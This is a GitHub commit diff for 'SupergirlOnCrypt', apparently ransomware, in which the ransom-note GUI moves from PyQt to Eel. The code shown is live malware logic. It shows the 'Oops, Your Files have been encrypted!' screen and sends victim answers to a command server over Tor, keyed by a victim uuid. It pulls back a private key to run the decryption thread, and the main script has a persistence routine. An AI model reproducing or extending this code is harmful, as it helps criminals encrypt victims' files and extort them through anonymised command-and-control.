Skip to content

Commit 3ea5bfc

Browse files
committed
Replaced PyQT with Eel -> Reduced overall Binary size to ~30mb
1 parent 84d0cde commit 3ea5bfc

28 files changed

+330
-141
lines changed

App/DecryptThread.py

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,16 @@
11
import sys
2+
import threading
23
from pathlib import Path
3-
from PyQt5.QtCore import QThread
44
from Helper import Helper
55
from FileCrypter import FileCrypter
66
import Config
77

88

9-
class DecryptThread (QThread):
10-
def __init__(self, priv_key):
11-
QThread.__init__(self)
9+
class DecryptThread (threading.Thread):
10+
def __init__(self, priv_key, eel_obj):
11+
threading.Thread.__init__(self)
1212
self.privkey = priv_key
13+
self.eel = eel_obj
1314

1415
def run(self):
1516
h = Helper()
@@ -32,4 +33,5 @@ def decrypt(self):
3233
except IOError:
3334
not_encrypted.append(path_in_str)
3435
h.error("Could not decrypt " + path_in_str)
35-
h.safe_exit()
36+
#h.safe_exit()
37+
self.eel.decrypt_success()

App/GUI.py

Lines changed: 70 additions & 103 deletions
Original file line numberDiff line numberDiff line change
@@ -1,120 +1,87 @@
11
import json
22
import base64
33
import collections
4-
from PyQt5 import QtCore
5-
from PyQt5.QtCore import QSize
6-
from PyQt5.QtGui import QImage, QPalette, QBrush, QFont
7-
from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox, QTextEdit, QProgressBar, QInputDialog, QLineEdit
84
from Helper import Helper
95
from TorManager import TorManager
106
import Config
117
import DecryptThread
128
import requests
9+
import eel
1310

11+
uuid = ""
1412

13+
def setup():
14+
eel.init('web')
1515

16-
class GUI(QWidget):
17-
def __init__(self, uuid):
18-
self.uuid = uuid
19-
QWidget.__init__(self)
20-
self.headerFont = QFont("Times", 22, QFont.AllUppercase)
21-
self.setup()
16+
def show():
17+
web_app_options = {
18+
'mode': "chrome-app",
19+
'port': 1337,
20+
'chromeFlags': [" --incognito"]
21+
}
22+
try:
23+
eel.start('ui.html', size=(1152,648), options=web_app_options)
24+
except EnvironmentError:
25+
web_app_options = {
26+
'mode': "l33t",
27+
'port': 1337
28+
}
29+
eel.start('ui.html', size=(1152,648), options=web_app_options)
2230

23-
def setup(self):
24-
self.resize(800, 600)
25-
self.setWindowTitle("SupergirlOnCrypt")
26-
self.setWindowFlags(self.windowFlags() | QtCore.Qt.CustomizeWindowHint)
27-
self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMaximizeButtonHint)
28-
self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMinimizeButtonHint)
29-
self.setbg()
30-
self.placeWidgets()
31-
self.show()
31+
@eel.expose # Expose this function to Javascript
32+
def shutdown():
33+
h = Helper()
34+
h.safe_exit()
3235

33-
def setbg(self):
34-
h = Helper()
35-
oImage = QImage(h.path("res/gui_bg.jpg"))
36-
sImage = oImage.scaled(QSize(800, 600)) # resize Image to widgets size
37-
palette = QPalette()
38-
palette.setBrush(10, QBrush(sImage)) # 10 = Windowrole
39-
self.setPalette(palette)
36+
@eel.expose
37+
def getQuestions():
38+
h = Helper()
39+
l = []
40+
with open(h.path('res/questions.txt'), 'r') as f:
41+
for q in f:
42+
l.append(q)
43+
return l
4044

41-
def placeWidgets(self):
42-
#heading
43-
self.lbHeader = QLabel("Oops, Your Files\nhave been encrypted!", self)
44-
self.lbHeader.setFont(self.headerFont)
45-
self.lbHeader.setStyleSheet("QLabel { color: white;}")
46-
self.lbHeader.setGeometry(10, 15, 500, 120)
45+
@eel.expose
46+
def checkQuestions(answers):
47+
q = []
48+
for i in range(len(answers)):
49+
r = answers[i]
50+
tmp = [getQuestions()[i].replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))]
51+
q.append(tmp)
52+
return sendAnswers(q)
4753

48-
self.infoText = QTextEdit(self)
49-
self.infoText.setReadOnly(True)
50-
self.infoText.setGeometry(205, 150, 550, 360)
51-
h = Helper()
52-
with open(h.path('res/info.html'), 'r') as encrypt_info_file:
53-
encrypt_text = encrypt_info_file.read().replace('\n', '')
54-
self.infoText.setHtml(encrypt_text)
54+
def sendAnswers(q):
55+
tor = TorManager()
56+
r = tor.getSession()
57+
try:
58+
data = collections.OrderedDict()
59+
for i in range(0, len(q)):
60+
data[q[i][0]] = q[i][1].decode('utf-8')
61+
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
62+
req = r.post(Config.API_URL + "/answer/" + uuid, data=json.dumps(data), headers=headers)
63+
data = json.loads(req.text)
64+
if data['STATUS'] == "WRONG_ANSWERS":
65+
return False
66+
elif data['STATUS'] == "OK":
67+
return True
68+
except requests.exceptions.RequestException:
69+
return False
5570

56-
self.progressBar = QProgressBar(self)
57-
self.progressBar.setRange(0, 0)
58-
self.progressBar.setGeometry(20, 550, 500, 24)
59-
self.progressBar.hide()
71+
@eel.expose
72+
def decryptData():
73+
tor = TorManager()
74+
r = tor.getSession()
75+
try:
76+
req = r.get(Config.API_URL + "/decrypt/" + uuid)
77+
data = json.loads(req.text)
78+
if data['STATUS'] == "FAIL":
79+
eel.decrypt_fail()
80+
elif data['STATUS'] == "SUCCESS":
81+
privkey = base64.b64decode(data['priv_key']).decode('utf-8')
82+
decryptThread = DecryptThread.DecryptThread(privkey, eel)
83+
decryptThread.start()
84+
decryptThread.join()
85+
except requests.exceptions.RequestException:
86+
eel.decrypt_fail()
6087

61-
#button decrypt
62-
self.btnDecrypt = QPushButton("Decrypt", self)
63-
self.btnDecrypt.move(650, 550)
64-
self.btnDecrypt.setStyleSheet("QPushButton {background-color:black; color: white; width:100px; height:24px;} "
65-
"QPushButton:hover {color:green;}")
66-
self.btnDecrypt.clicked.connect(self.askQuestions)
67-
68-
def askQuestion(self, q):
69-
text, okPressed = QInputDialog.getText(self, "Supergirl", q, QLineEdit.Normal, "")
70-
if okPressed and text != '':
71-
return text
72-
else:
73-
return ""
74-
75-
76-
def askQuestions(self):
77-
h = Helper()
78-
questions = []
79-
with open(h.path('res/questions.txt'), 'r') as f:
80-
for question in f:
81-
r = self.askQuestion(question)
82-
tmp = [question.replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))]
83-
questions.append(tmp)
84-
print(questions)
85-
self.sendAnswers(questions)
86-
87-
def sendAnswers(self, q):
88-
tor = TorManager()
89-
r = tor.getSession()
90-
try:
91-
data = collections.OrderedDict()
92-
for i in range(0, len(q)):
93-
data[q[i][0]] = q[i][1].decode('utf-8')
94-
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
95-
req = r.post(Config.API_URL + "/answer/" + self.uuid, data=json.dumps(data), headers=headers)
96-
data = json.loads(req.text)
97-
if data['STATUS'] == "WRONG_ANSWERS":
98-
QMessageBox.question(self, "Still locked...", "Your machine is still locked\nAt least one Answer was wrong", QMessageBox.Ok)
99-
elif data['STATUS'] == "OK":
100-
self.decryptData()
101-
except requests.exceptions.RequestException:
102-
QMessageBox.question(self, "Error", "You are fucked...",
103-
QMessageBox.Ok)
104-
105-
def decryptData(self):
106-
tor = TorManager()
107-
r = tor.getSession()
108-
try:
109-
req = r.get(Config.API_URL + "/decrypt/" + self.uuid)
110-
data = json.loads(req.text)
111-
if data['STATUS'] == "FAIL":
112-
QMessageBox.question(self, "Still locked...", "Decryption Failed!", QMessageBox.Ok)
113-
elif data['STATUS'] == "SUCCESS":
114-
self.progressBar.show()
115-
privkey = base64.b64decode(data['priv_key']).decode('utf-8')
116-
self.decryptThread = DecryptThread.DecryptThread(privkey)
117-
self.decryptThread.start()
118-
except requests.exceptions.RequestException:
119-
QMessageBox.question(self, "Error", "You are fucked...",
120-
QMessageBox.Ok)

App/SupergirlOnCrypt.py

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -11,13 +11,12 @@
1111
from cryptography.hazmat.primitives import serialization, hashes
1212
from cryptography.hazmat.primitives.asymmetric import padding
1313
from cryptography.hazmat.backends import default_backend
14-
from PyQt5.QtWidgets import QApplication
1514
from RSA.RSAKeyGen import RSAKeyGen
1615
from pathlib import Path
1716
from Helper import Helper
1817
from FileCrypter import FileCrypter
1918
from TorManager import TorManager
20-
from GUI import GUI
19+
import GUI
2120

2221
_helper = Helper()
2322
_session = 0
@@ -46,18 +45,18 @@ def init():
4645
def startGui(id):
4746
if sys.platform == "linux" or sys.platform == "linux2":
4847
if not os.environ.get('XDG_CURRENT_DESKTOP') is None:
49-
app = QApplication(sys.argv)
50-
_ = GUI(id)
51-
sys.exit(app.exec_())
48+
GUI.uuid = id
49+
GUI.setup()
50+
GUI.show()
5251
else:
5352
_helper.super_logo()
5453
_helper.supergirl_pic()
5554
print("Supergirl needs a GUI. She encrypted your Files and you are screwed")
5655
print("Have a nice Day! ;)")
5756
else:
58-
app = QApplication(sys.argv)
59-
_ = GUI(id)
60-
sys.exit(app.exec_())
57+
GUI.uuid = id
58+
GUI.setup()
59+
GUI.show()
6160

6261
def makePersistence():
6362
if getattr(sys, 'frozen', False):

App/requirements_lin.txt

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ cryptography
22
pycryptodome
33
requests
44
pysocks
5-
pyqt5
65
psutil
76
pillow
8-
pycrypto
7+
pycrypto
8+
https://github.com/ThoughtfulDev/Eel/archive/master.zip

App/requirements_win.txt

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ cryptography
22
pycryptodome
33
requests
44
pysocks
5-
pyqt5
65
psutil
7-
pillow
6+
pillow
7+
pywin32
8+
https://github.com/ThoughtfulDev/Eel/archive/master.zip

App/res/gui_bg.jpg

-169 KB
Binary file not shown.

App/res/info.html

Lines changed: 0 additions & 16 deletions
This file was deleted.

App/web/css/materialize.min.css

Lines changed: 16 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

App/web/css/style.css

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
body {
2+
padding:0;
3+
margin:0;
4+
width:100%;
5+
height:100%;
6+
background: url('../img/bg.jpg') top center no-repeat;
7+
background-size:cover;
8+
}
9+
10+
.notice {
11+
margin:160px auto;
12+
max-width:700px;
13+
width:100%;
14+
height:100%;
15+
text-align:left;
16+
}
17+
18+
#notice_btn_area #left {
19+
float:left;
20+
}
21+
22+
#notice_btn_area #right {
23+
float:right;
24+
}
25+
26+

App/web/favicon.ico

361 KB
Binary file not shown.

App/web/fonts/roboto/Roboto-Bold.woff

88.2 KB
Binary file not shown.
63.3 KB
Binary file not shown.
87.6 KB
Binary file not shown.
62.8 KB
Binary file not shown.
88.4 KB
Binary file not shown.
63.9 KB
Binary file not shown.
87.7 KB
Binary file not shown.
63.3 KB
Binary file not shown.

App/web/fonts/roboto/Roboto-Thin.woff

86.1 KB
Binary file not shown.
61.6 KB
Binary file not shown.

App/web/img/bg.jpg

3.43 MB
Loading

0 commit comments

Comments
 (0)